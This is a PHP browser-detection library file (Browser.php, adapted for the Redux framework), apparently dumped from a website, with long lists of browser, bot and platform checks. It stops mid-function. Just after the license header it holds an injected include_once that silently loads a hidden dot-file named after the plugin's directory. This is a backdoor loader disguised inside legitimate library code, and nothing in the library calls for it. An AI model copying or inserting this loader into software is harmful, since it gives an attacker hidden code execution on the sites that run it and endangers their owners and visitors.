balmet.com

browser.php (65071B)

---

 <?php /** @noinspection ALL */
 // phpcs:ignoreFile
 
 /**
  * File: Browser.php
  * Author: Chris Schuld (http://chrisschuld.com/)
  * Last Modified: July 22nd, 2016
  * @version 2.0
  * @package PegasusPHP
  *
  * Copyright (C) 2008-2010 Chris Schuld  (chris@chrisschuld.com)
  *
  * This program is free software; you can redistribute it and/or
  * modify it under the terms of the GNU General Public License as
  * published by the Free Software Foundation; either version 2 of
  * the License, or (at your option) any later version.
  *
  * This program is distributed in the hope that it will be useful,
  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  * GNU General Public License for more details at:
  * http://www.gnu.org/copyleft/gpl.html
  *
  *
  * Typical Usage:
  *
  *   $browser = new Browser();
  *   if( $browser->getBrowser() == Browser::BROWSER_FIREFOX && $browser->getVersion() >= 2 ) {
  *    echo 'You have FireFox version 2 or greater';
  *   }
  *
  * User Agents Sampled from: http://www.useragentstring.com/
  *
  * This implementation is based on the original work from Gary White
  * http://apptools.com/phptools/browser/
  *
  */
 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
 }
 
 class Browser {
 
     private $_agent = '';
     private $_browser_name = '';
     private $_version = '';
     private $_platform = '';
     private $_os = '';
     private $_is_aol = false;
     private $_is_mobile = false;
     private $_is_tablet = false;
     private $_is_robot = false;
     private $_is_facebook = false;
     private $_aol_version = '';
 
     const BROWSER_UNKNOWN = 'unknown';
     const VERSION_UNKNOWN = 'unknown';
     const BROWSER_OPERA = 'Opera'; // http://www.opera.com/
     const BROWSER_OPERA_MINI = 'Opera Mini'; // http://www.opera.com/mini/
     const BROWSER_WEBTV = 'WebTV'; // http://www.webtv.net/pc/
     const BROWSER_EDGE = 'Edge'; // https://www.microsoft.com/edge
     const BROWSER_IE = 'Internet Explorer'; // http://www.microsoft.com/ie/
     const BROWSER_POCKET_IE = 'Pocket Internet Explorer'; // http://en.wikipedia.org/wiki/Internet_Explorer_Mobile
     const BROWSER_KONQUEROR = 'Konqueror'; // http://www.konqueror.org/
     const BROWSER_ICAB = 'iCab'; // http://www.icab.de/
     const BROWSER_OMNIWEB = 'OmniWeb'; // http://www.omnigroup.com/applications/omniweb/
     const BROWSER_FIREBIRD = 'Firebird'; // http://www.ibphoenix.com/
     const BROWSER_FIREFOX = 'Firefox'; // http://www.mozilla.com/en-US/firefox/firefox.html
     const BROWSER_ICEWEASEL = 'Iceweasel'; // http://www.geticeweasel.org/
     const BROWSER_SHIRETOKO = 'Shiretoko'; // http://wiki.mozilla.org/Projects/shiretoko
     const BROWSER_MOZILLA = 'Mozilla'; // http://www.mozilla.com/en-US/
     const BROWSER_AMAYA = 'Amaya'; // http://www.w3.org/Amaya/
     const BROWSER_LYNX = 'Lynx'; // http://en.wikipedia.org/wiki/Lynx
     const BROWSER_SAFARI = 'Safari'; // http://apple.com
     const BROWSER_IPHONE = 'iPhone'; // http://apple.com
     const BROWSER_IPOD = 'iPod'; // http://apple.com
     const BROWSER_IPAD = 'iPad'; // http://apple.com
     const BROWSER_CHROME = 'Chrome'; // http://www.google.com/chrome
     const BROWSER_ANDROID = 'Android'; // http://www.android.com/
     const BROWSER_GOOGLEBOT = 'GoogleBot'; // http://en.wikipedia.org/wiki/Googlebot
     const BROWSER_YANDEXBOT = 'YandexBot'; // http://yandex.com/bots
     const BROWSER_YANDEXIMAGERESIZER_BOT = 'YandexImageResizer'; // http://yandex.com/bots
     const BROWSER_YANDEXIMAGES_BOT = 'YandexImages'; // http://yandex.com/bots
     const BROWSER_YANDEXVIDEO_BOT = 'YandexVideo'; // http://yandex.com/bots
     const BROWSER_YANDEXMEDIA_BOT = 'YandexMedia'; // http://yandex.com/bots
     const BROWSER_YANDEXBLOGS_BOT = 'YandexBlogs'; // http://yandex.com/bots
     const BROWSER_YANDEXFAVICONS_BOT = 'YandexFavicons'; // http://yandex.com/bots
     const BROWSER_YANDEXWEBMASTER_BOT = 'YandexWebmaster'; // http://yandex.com/bots
     const BROWSER_YANDEXDIRECT_BOT = 'YandexDirect'; // http://yandex.com/bots
     const BROWSER_YANDEXMETRIKA_BOT = 'YandexMetrika'; // http://yandex.com/bots
     const BROWSER_YANDEXNEWS_BOT = 'YandexNews'; // http://yandex.com/bots
     const BROWSER_YANDEXCATALOG_BOT = 'YandexCatalog'; // http://yandex.com/bots
     const BROWSER_SLURP = 'Yahoo! Slurp'; // http://en.wikipedia.org/wiki/Yahoo!_Slurp
     const BROWSER_W3CVALIDATOR = 'W3C Validator'; // http://validator.w3.org/
     const BROWSER_BLACKBERRY = 'BlackBerry'; // http://www.blackberry.com/
     const BROWSER_ICECAT = 'IceCat'; // http://en.wikipedia.org/wiki/GNU_IceCat
     const BROWSER_NOKIA_S60 = 'Nokia S60 OSS Browser'; // http://en.wikipedia.org/wiki/Web_Browser_for_S60
     const BROWSER_NOKIA = 'Nokia Browser'; // * all other WAP-based browsers on the Nokia Platform
     const BROWSER_MSN = 'MSN Browser'; // http://explorer.msn.com/
     const BROWSER_MSNBOT = 'MSN Bot'; // http://search.msn.com/msnbot.htm
     const BROWSER_BINGBOT = 'Bing Bot'; // http://en.wikipedia.org/wiki/Bingbot
     const BROWSER_VIVALDI = 'Vivalidi'; // https://vivaldi.com/
     const BROWSER_YANDEX = 'Yandex'; // https://browser.yandex.ua/
     const BROWSER_NETSCAPE_NAVIGATOR = 'Netscape Navigator'; // http://browser.netscape.com/ (DEPRECATED)
     const BROWSER_GALEON = 'Galeon'; // http://galeon.sourceforge.net/ (DEPRECATED)
     const BROWSER_NETPOSITIVE = 'NetPositive'; // http://en.wikipedia.org/wiki/NetPositive (DEPRECATED)
     const BROWSER_PHOENIX = 'Phoenix'; // http://en.wikipedia.org/wiki/History_of_Mozilla_Firefox (DEPRECATED)
     const BROWSER_PLAYSTATION = "PlayStation";
     const BROWSER_SAMSUNG = "SamsungBrowser";
     const BROWSER_SILK = "Silk";
     const BROWSER_I_FRAME = "Iframely";
     const BROWSER_COCOA = "CocoaRestClient";
     const PLATFORM_UNKNOWN = 'unknown';
     const PLATFORM_WINDOWS = 'Windows';
     const PLATFORM_WINDOWS_CE = 'Windows CE';
     const PLATFORM_APPLE = 'Apple';
     const PLATFORM_LINUX = 'Linux';
     const PLATFORM_OS2 = 'OS/2';
     const PLATFORM_BEOS = 'BeOS';
     const PLATFORM_IPHONE = 'iPhone';
     const PLATFORM_IPOD = 'iPod';
     const PLATFORM_IPAD = 'iPad';
     const PLATFORM_BLACKBERRY = 'BlackBerry';
     const PLATFORM_NOKIA = 'Nokia';
     const PLATFORM_FREEBSD = 'FreeBSD';
     const PLATFORM_OPENBSD = 'OpenBSD';
     const PLATFORM_NETBSD = 'NetBSD';
     const PLATFORM_SUNOS = 'SunOS';
     const PLATFORM_OPENSOLARIS = 'OpenSolaris';
     const PLATFORM_ANDROID = 'Android';
     const PLATFORM_PLAYSTATION = "Sony PlayStation";
     const PLATFORM_ROKU = "Roku";
     const PLATFORM_APPLE_TV = "Apple TV";
     const PLATFORM_TERMINAL = "Terminal";
     const PLATFORM_FIRE_OS = "Fire OS";
     const PLATFORM_SMART_TV = "SMART-TV";
     const PLATFORM_CHROME_OS = "Chrome OS";
     const PLATFORM_JAVA_ANDROID = "Java/Android";
     const PLATFORM_POSTMAN = "Postman";
     const PLATFORM_I_FRAME = "Iframely";
     const OPERATING_SYSTEM_UNKNOWN = 'unknown';
 
     /**
      * Class constructor
      */
     public function __construct($userAgent = "") {
         $this->reset();
         if ($userAgent != "") {
             $this->setUserAgent($userAgent);
         } else {
             $this->determine();
         }
     }
 
     /**
      * Reset all properties
      */
     public function reset() {
         $this->_agent = isset(Redux_Core::$server['HTTP_USER_AGENT']) ? Redux_Core::$server['HTTP_USER_AGENT'] : "";
         $this->_browser_name = self::BROWSER_UNKNOWN;
         $this->_version = self::VERSION_UNKNOWN;
         $this->_platform = self::PLATFORM_UNKNOWN;
         $this->_os = self::OPERATING_SYSTEM_UNKNOWN;
         $this->_is_aol = false;
         $this->_is_mobile = false;
         $this->_is_tablet = false;
         $this->_is_robot = false;
         $this->_is_facebook = false;
         $this->_aol_version = self::VERSION_UNKNOWN;
     }
 
     /**
      * Check to see if the specific browser is valid
      *
      * @param string $browserName
      *
      * @return bool True if the browser is the specified browser
      */
     function isBrowser($browserName) {
         return ( 0 == strcasecmp($this->_browser_name, trim($browserName)) );
     }
 
     /**
      * The name of the browser.  All return types are from the class contants
      * @return string Name of the browser
      */
     public function getBrowser() {
         return $this->_browser_name;
     }
 
     /**
      * Set the name of the browser
      *
      * @param $browser string The name of the Browser
      */
     public function setBrowser($browser) {
         $this->_browser_name = $browser;
     }
 
     /**
      * The name of the platform.  All return types are from the class contants
      * @return string Name of the browser
      */
     public function getPlatform() {
         return $this->_platform;
     }
 
     /**
      * Set the name of the platform
      *
      * @param string $platform The name of the Platform
      */
     public function setPlatform($platform) {
         $this->_platform = $platform;
     }
 
     /**
      * The version of the browser.
      * @return string Version of the browser (will only contain alpha-numeric characters and a period)
      */
     public function getVersion() {
         return $this->_version;
     }
 
     /**
      * Set the version of the browser
      *
      * @param string $version The version of the Browser
      */
     public function setVersion($version) {
         $this->_version = preg_replace('/[^0-9,.,a-z,A-Z-]/', '', $version);
     }
 
     /**
      * The version of AOL.
      * @return string Version of AOL (will only contain alpha-numeric characters and a period)
      */
     public function getAolVersion() {
         return $this->_aol_version;
     }
 
     /**
      * Set the version of AOL
      *
      * @param string $version The version of AOL
      */
     public function setAolVersion($version) {
         $this->_aol_version = preg_replace('/[^0-9,.,a-z,A-Z]/', '', $version);
     }
 
     /**
      * Is the browser from AOL?
      * @return boolean True if the browser is from AOL otherwise false
      */
     public function isAol() {
         return $this->_is_aol;
     }
 
     /**
      * Is the browser from a mobile device?
      * @return boolean True if the browser is from a mobile device otherwise false
      */
     public function isMobile() {
         return $this->_is_mobile;
     }
 
     /**
      * Is the browser from a tablet device?
      * @return boolean True if the browser is from a tablet device otherwise false
      */
     public function isTablet() {
         return $this->_is_tablet;
     }
 
     /**
      * Is the browser from a robot (ex Slurp,GoogleBot)?
      * @return boolean True if the browser is from a robot otherwise false
      */
     public function isRobot() {
         return $this->_is_robot;
     }
 
     /**
      * Is the browser from facebook?
      * @return boolean True if the browser is from facebook otherwise false
      */
     public function isFacebook() {
         return $this->_is_facebook;
     }
 
     /**
      * Set the browser to be from AOL
      *
      * @param $isAol
      */
     public function setAol($isAol) {
         $this->_is_aol = $isAol;
     }
 
     /**
      * Set the Browser to be mobile
      *
      * @param boolean $value is the browser a mobile browser or not
      */
     protected function setMobile($value = true) {
         $this->_is_mobile = $value;
     }
 
     /**
      * Set the Browser to be tablet
      *
      * @param boolean $value is the browser a tablet browser or not
      */
     protected function setTablet($value = true) {
         $this->_is_tablet = $value;
     }
 
     /**
      * Set the Browser to be a robot
      *
      * @param boolean $value is the browser a robot or not
      */
     protected function setRobot($value = true) {
         $this->_is_robot = $value;
     }
 
     /**
      * Set the Browser to be a Facebook request
      *
      * @param boolean $value is the browser a robot or not
      */
     protected function setFacebook($value = true) {
         $this->_is_facebook = $value;
     }
 
     /**
      * Get the user agent value in use to determine the browser
      * @return string The user agent from the HTTP header
      */
     public function getUserAgent() {
         return $this->_agent;
     }
 
     /**
      * Set the user agent value (the construction will use the HTTP header value - this will overwrite it)
      *
      * @param string $agent_string The value for the User Agent
      */
     public function setUserAgent($agent_string) {
         $this->reset();
         $this->_agent = $agent_string;
         $this->determine();
     }
 
     /**
      * Used to determine if the browser is actually "chromeframe"
      * @since 1.7
      * @return boolean True if the browser is using chromeframe
      */
     public function isChromeFrame() {
         return ( strpos($this->_agent, "chromeframe") !== false );
     }
 
     /**
      * Returns a formatted string with a summary of the details of the browser.
      * @return string formatted string with a summary of the browser
      */
     public function __toString() {
         return "<strong>Browser Name:</strong> {$this->getBrowser()}<br/>\n" .
                 "<strong>Browser Version:</strong> {$this->getVersion()}<br/>\n" .
                 "<strong>Browser User Agent String:</strong> {$this->getUserAgent()}<br/>\n" .
                 "<strong>Platform:</strong> {$this->getPlatform()}<br/>";
     }
 
     /**
      * Protected routine to calculate and determine what the browser is in use (including platform)
      */
     protected function determine() {
         $this->checkPlatform();
         $this->checkBrowsers();
         $this->checkForAol();
     }
 
     /**
      * Protected routine to determine the browser type
      * @return boolean True if the browser was detected otherwise false
      */
     protected function checkBrowsers() {
         return (
                 // well-known, well-used
                 // Special Notes:
                 // (1) Opera must be checked before FireFox due to the odd
                 //     user agents used in some older versions of Opera
                 // (2) WebTV is strapped onto Internet Explorer so we must
                 //     check for WebTV before IE
                 // (3) (deprecated) Galeon is based on Firefox and needs to be
                 //     tested before Firefox is tested
                 // (4) OmniWeb is based on Safari so OmniWeb check must occur
                 //     before Safari
                 // (5) Netscape 9+ is based on Firefox so Netscape checks
                 //     before FireFox are necessary
                 // (6) Vivalid is UA contains both Firefox and Chrome so Vivalid checks
                 //     before Firefox and Chrome
                 $this->checkBrowserWebTv() ||
                 $this->checkBrowserEdge() ||
                 $this->checkBrowserInternetExplorer() ||
                 $this->checkBrowserOpera() ||
                 $this->checkBrowserGaleon() ||
                 $this->checkBrowserNetscapeNavigator9Plus() ||
                 $this->checkBrowserVivaldi() ||
                 $this->checkBrowserYandex() ||
                 $this->checkBrowserFirefox() ||
                 $this->checkBrowserChrome() ||
                 $this->checkBrowserOmniWeb() ||
                 // common mobile
                 $this->checkBrowserAndroid() ||
                 $this->checkBrowseriPad() ||
                 $this->checkBrowseriPod() ||
                 $this->checkBrowseriPhone() ||
                 $this->checkBrowserBlackBerry() ||
                 $this->checkBrowserNokia() ||
                 // common bots
                 $this->checkBrowserGoogleBot() ||
                 $this->checkBrowserMSNBot() ||
                 $this->checkBrowserBingBot() ||
                 $this->checkBrowserSlurp() ||
                 // Yandex bots
                 $this->checkBrowserYandexBot() ||
                 $this->checkBrowserYandexImageResizerBot() ||
                 $this->checkBrowserYandexBlogsBot() ||
                 $this->checkBrowserYandexCatalogBot() ||
                 $this->checkBrowserYandexDirectBot() ||
                 $this->checkBrowserYandexFaviconsBot() ||
                 $this->checkBrowserYandexImagesBot() ||
                 $this->checkBrowserYandexMediaBot() ||
                 $this->checkBrowserYandexMetrikaBot() ||
                 $this->checkBrowserYandexNewsBot() ||
                 $this->checkBrowserYandexVideoBot() ||
                 $this->checkBrowserYandexWebmasterBot() ||
                 // check for facebook external hit when loading URL
                 $this->checkFacebookExternalHit() ||
                 // WebKit base check (post mobile and others)
                 $this->checkBrowserSamsung() ||
                 $this->checkBrowserSilk() ||
                 $this->checkBrowserSafari() ||
                 // everyone else
                 $this->checkBrowserNetPositive() ||
                 $this->checkBrowserFirebird() ||
                 $this->checkBrowserKonqueror() ||
                 $this->checkBrowserIcab() ||
                 $this->checkBrowserPhoenix() ||
                 $this->checkBrowserAmaya() ||
                 $this->checkBrowserLynx() ||
                 $this->checkBrowserShiretoko() ||
                 $this->checkBrowserIceCat() ||
                 $this->checkBrowserIceweasel() ||
                 $this->checkBrowserW3CValidator() ||
                 $this->checkBrowserPlayStation() ||
                 $this->checkBrowserIframely() ||
                 $this->checkBrowserCocoa() ||
                 $this->checkBrowserMozilla() /* Mozilla is such an open standard that you must check it last */
 
 
                 );
     }
 
     /**
      * Determine if the user is using a BlackBerry (last updated 1.7)
      * @return boolean True if the browser is the BlackBerry browser otherwise false
      */
     protected function checkBrowserBlackBerry() {
         if (stripos($this->_agent, 'blackberry') !== false) {
             $aresult = explode("/", stristr($this->_agent, "BlackBerry"));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->_browser_name = self::BROWSER_BLACKBERRY;
                 $this->setMobile(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the user is using an AOL User Agent (last updated 1.7)
      * @return boolean True if the browser is from AOL otherwise false
      */
     protected function checkForAol() {
         $this->setAol(false);
         $this->setAolVersion(self::VERSION_UNKNOWN);
 
         if (stripos($this->_agent, 'aol') !== false) {
             $aversion = explode(' ', stristr($this->_agent, 'AOL'));
             if (isset($aversion[1])) {
                 $this->setAol(true);
                 $this->setAolVersion(preg_replace('/[^0-9\.a-z]/i', '', $aversion[1]));
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the GoogleBot or not (last updated 1.7)
      * @return boolean True if the browser is the GoogletBot otherwise false
      */
     protected function checkBrowserGoogleBot() {
         if (stripos($this->_agent, 'googlebot') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'googlebot'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_GOOGLEBOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexBot or not
      * @return boolean True if the browser is the YandexBot otherwise false
      */
     protected function checkBrowserYandexBot() {
         if (stripos($this->_agent, 'YandexBot') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexBot'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXBOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexImageResizer or not
      * @return boolean True if the browser is the YandexImageResizer otherwise false
      */
     protected function checkBrowserYandexImageResizerBot() {
         if (stripos($this->_agent, 'YandexImageResizer') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexImageResizer'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXIMAGERESIZER_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexCatalog or not
      * @return boolean True if the browser is the YandexCatalog otherwise false
      */
     protected function checkBrowserYandexCatalogBot() {
         if (stripos($this->_agent, 'YandexCatalog') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexCatalog'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXCATALOG_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexNews or not
      * @return boolean True if the browser is the YandexNews otherwise false
      */
     protected function checkBrowserYandexNewsBot() {
         if (stripos($this->_agent, 'YandexNews') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexNews'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXNEWS_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexMetrika or not
      * @return boolean True if the browser is the YandexMetrika otherwise false
      */
     protected function checkBrowserYandexMetrikaBot() {
         if (stripos($this->_agent, 'YandexMetrika') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexMetrika'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXMETRIKA_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexDirect or not
      * @return boolean True if the browser is the YandexDirect otherwise false
      */
     protected function checkBrowserYandexDirectBot() {
         if (stripos($this->_agent, 'YandexDirect') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexDirect'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXDIRECT_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexWebmaster or not
      * @return boolean True if the browser is the YandexWebmaster otherwise false
      */
     protected function checkBrowserYandexWebmasterBot() {
         if (stripos($this->_agent, 'YandexWebmaster') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexWebmaster'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXWEBMASTER_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexFavicons or not
      * @return boolean True if the browser is the YandexFavicons otherwise false
      */
     protected function checkBrowserYandexFaviconsBot() {
         if (stripos($this->_agent, 'YandexFavicons') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexFavicons'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXFAVICONS_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexBlogs or not
      * @return boolean True if the browser is the YandexBlogs otherwise false
      */
     protected function checkBrowserYandexBlogsBot() {
         if (stripos($this->_agent, 'YandexBlogs') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexBlogs'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXBLOGS_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexMedia or not
      * @return boolean True if the browser is the YandexMedia otherwise false
      */
     protected function checkBrowserYandexMediaBot() {
         if (stripos($this->_agent, 'YandexMedia') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexMedia'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXMEDIA_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexVideo or not
      * @return boolean True if the browser is the YandexVideo otherwise false
      */
     protected function checkBrowserYandexVideoBot() {
         if (stripos($this->_agent, 'YandexVideo') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexVideo'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXVIDEO_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the YandexImages or not
      * @return boolean True if the browser is the YandexImages otherwise false
      */
     protected function checkBrowserYandexImagesBot() {
         if (stripos($this->_agent, 'YandexImages') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'YandexImages'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion(str_replace(';', '', $aversion[0]));
                 $this->_browser_name = self::BROWSER_YANDEXIMAGES_BOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the MSNBot or not (last updated 1.9)
      * @return boolean True if the browser is the MSNBot otherwise false
      */
     protected function checkBrowserMSNBot() {
         if (stripos($this->_agent, "msnbot") !== false) {
             $aresult = explode("/", stristr($this->_agent, "msnbot"));
             if (isset($aresult[1])) {
                 $aversion = explode(" ", $aresult[1]);
                 $this->setVersion(str_replace(";", "", $aversion[0]));
                 $this->_browser_name = self::BROWSER_MSNBOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the BingBot or not (last updated 1.9)
      * @return boolean True if the browser is the BingBot otherwise false
      */
     protected function checkBrowserBingBot() {
         if (stripos($this->_agent, "bingbot") !== false) {
             $aresult = explode("/", stristr($this->_agent, "bingbot"));
             if (isset($aresult[1])) {
                 $aversion = explode(" ", $aresult[1]);
                 $this->setVersion(str_replace(";", "", $aversion[0]));
                 $this->_browser_name = self::BROWSER_BINGBOT;
                 $this->setRobot(true);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the W3C Validator or not (last updated 1.7)
      * @return boolean True if the browser is the W3C Validator otherwise false
      */
     protected function checkBrowserW3CValidator() {
         if (stripos($this->_agent, 'W3C-checklink') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'W3C-checklink'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->_browser_name = self::BROWSER_W3CVALIDATOR;
 
                 return true;
             }
         } else if (stripos($this->_agent, 'W3C_Validator') !== false) {
             // Some of the Validator versions do not delineate w/ a slash - add it back in
             $ua = str_replace("W3C_Validator ", "W3C_Validator/", $this->_agent);
             $aresult = explode('/', stristr($ua, 'W3C_Validator'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->_browser_name = self::BROWSER_W3CVALIDATOR;
 
                 return true;
             }
         } else if (stripos($this->_agent, 'W3C-mobileOK') !== false) {
             $this->_browser_name = self::BROWSER_W3CVALIDATOR;
             $this->setMobile(true);
 
             return true;
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is the Yahoo! Slurp Robot or not (last updated 1.7)
      * @return boolean True if the browser is the Yahoo! Slurp Robot otherwise false
      */
     protected function checkBrowserSlurp() {
         if (stripos($this->_agent, 'slurp') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Slurp'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->_browser_name = self::BROWSER_SLURP;
                 $this->setRobot(true);
                 $this->setMobile(false);
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Edge or not
      * @return boolean True if the browser is Edge otherwise false
      */
     protected function checkBrowserEdge() {
         if (stripos($this->_agent, 'Edge/') !== false) {
             $aresult = explode('/', stristr($this->_agent, 'Edge'));
             if (isset($aresult[1])) {
                 $aversion = explode(' ', $aresult[1]);
                 $this->setVersion($aversion[0]);
                 $this->setBrowser(self::BROWSER_EDGE);
                 if (stripos($this->_agent, 'Windows Phone') !== false || stripos($this->_agent, 'Android') !== false) {
                     $this->setMobile(true);
                 }
 
                 return true;
             }
         }
 
         return false;
     }
 
     /**
      * Determine if the browser is Internet Explorer or not (last updated 1.7)
      * @return boolean True if the browser is Internet Explorer otherwise false
      */
     protected function checkBrowserInternetExplorer() {
         //  Test for IE11
         if (stripos($this->_agent, 'Trident/7.0; rv:11.0') !== false) {
             $this->setBrowser(self::BROWSER_IE);
             $this->setVersion('11.0');
 
             return true;
         } // Test for v1 - v1.5 IE
         else if (stripos($this->_agent, 'microsoft internet explorer') !== false) {
             $this->setBrowser(self::BROWSER_IE);
             $this->setVersion('1.0');
             $aresult = stristr($this->_agent, '/');
             if (preg_match('/308|425|426|474|0b1/i', $aresult)) {
                 $this->setVersion('1.5');
             }
 
             return true;
         } // Test for versions > 1.5
         else if (stripos($this->_agent, 'msie') !== false && stripos($this->_agent, 'opera') === false) {
             // See if the browser is the odd MSN Explorer
             if (stripos($this->_agent, 'msnb') !== false) {
                 $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'MSN'));
                 if (isset($aresult[1])) {
                     $this->setBrowser(self::BROWSER_MSN);
                     $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1]));
 
                     return true;
                 }
             }
             $aresult = explode(' ', stristr(str_replace(';', '; ', $this->_agent), 'msie'));
             if (isset($aresult[1])) {
                 $this->setBrowser(self::BROWSER_IE);
                 $this->setVersion(str_replace(array('(', ')', ';'), '', $aresult[1]));
                 if (preg_match('#trident/([0-9\.]+);#i', $this->_agent, $aresult)) {
                     if ($aresult[1] == '3.1') {
                         $this->setVersion('7.0');
                     } else if ($aresult[1] == '4.0') {
                         $this->setVersion('8.0');
                     } else if ($aresult[1] == '5.0') {
                         $this->setVersion('9.0');
                     } else if ($aresult[1] == '6.0') {
                         $this->setVersion('10.0');
                     } else if ($aresult[1] == '7.0') {
                         $this->setVersion('11.0');
                     } else if ($aresult[1] == '8.0') {
                         $this->setVersion('11.0');
                     }
                 }
                 if (stripos($this->_agent, 'IEMobile') !== false) {
                     $this->setBrowser(self::BROWSER_POCKET_IE);
                     $this->setMobile(true);
                 }
 
                 return true;
             }
         } // Test for versions > IE 10
         else if (stripos($this->_agent, 'trident') !== false) {
             $this->setBrowser(self::BROWSER_IE);
             $result = explode('rv:', $this->_agent);
             if (isset($result[1])) {
                 $this->setVersion(preg_replace('/[^0-9.]+/', '', $result[1]));
                 $this->_agent = str_replace(array("Mozilla", "Gecko"), "MSIE", $this->_agent);
             }
         } // Test for Pocket IE
         else if (stripos($this->_agent, 'mspie') !== false || stripos($this->_agent, 'pocket') !== false) {
             $aresult = explode(' ', stristr($this->_agent, 'mspie'));
             if (isset($aresult[1])) {
                 $this->setPlatform(self::PLATFORM_WINDOWS_CE);
                 $this->setBrowser(self::BROWSER_POCKET_IE);
                 $this->setMobile(true);
 
                 if (stripos($this->_agent, 'mspie') !== false) {
                     $this->setVersion($aresult[1]);
                 } else {
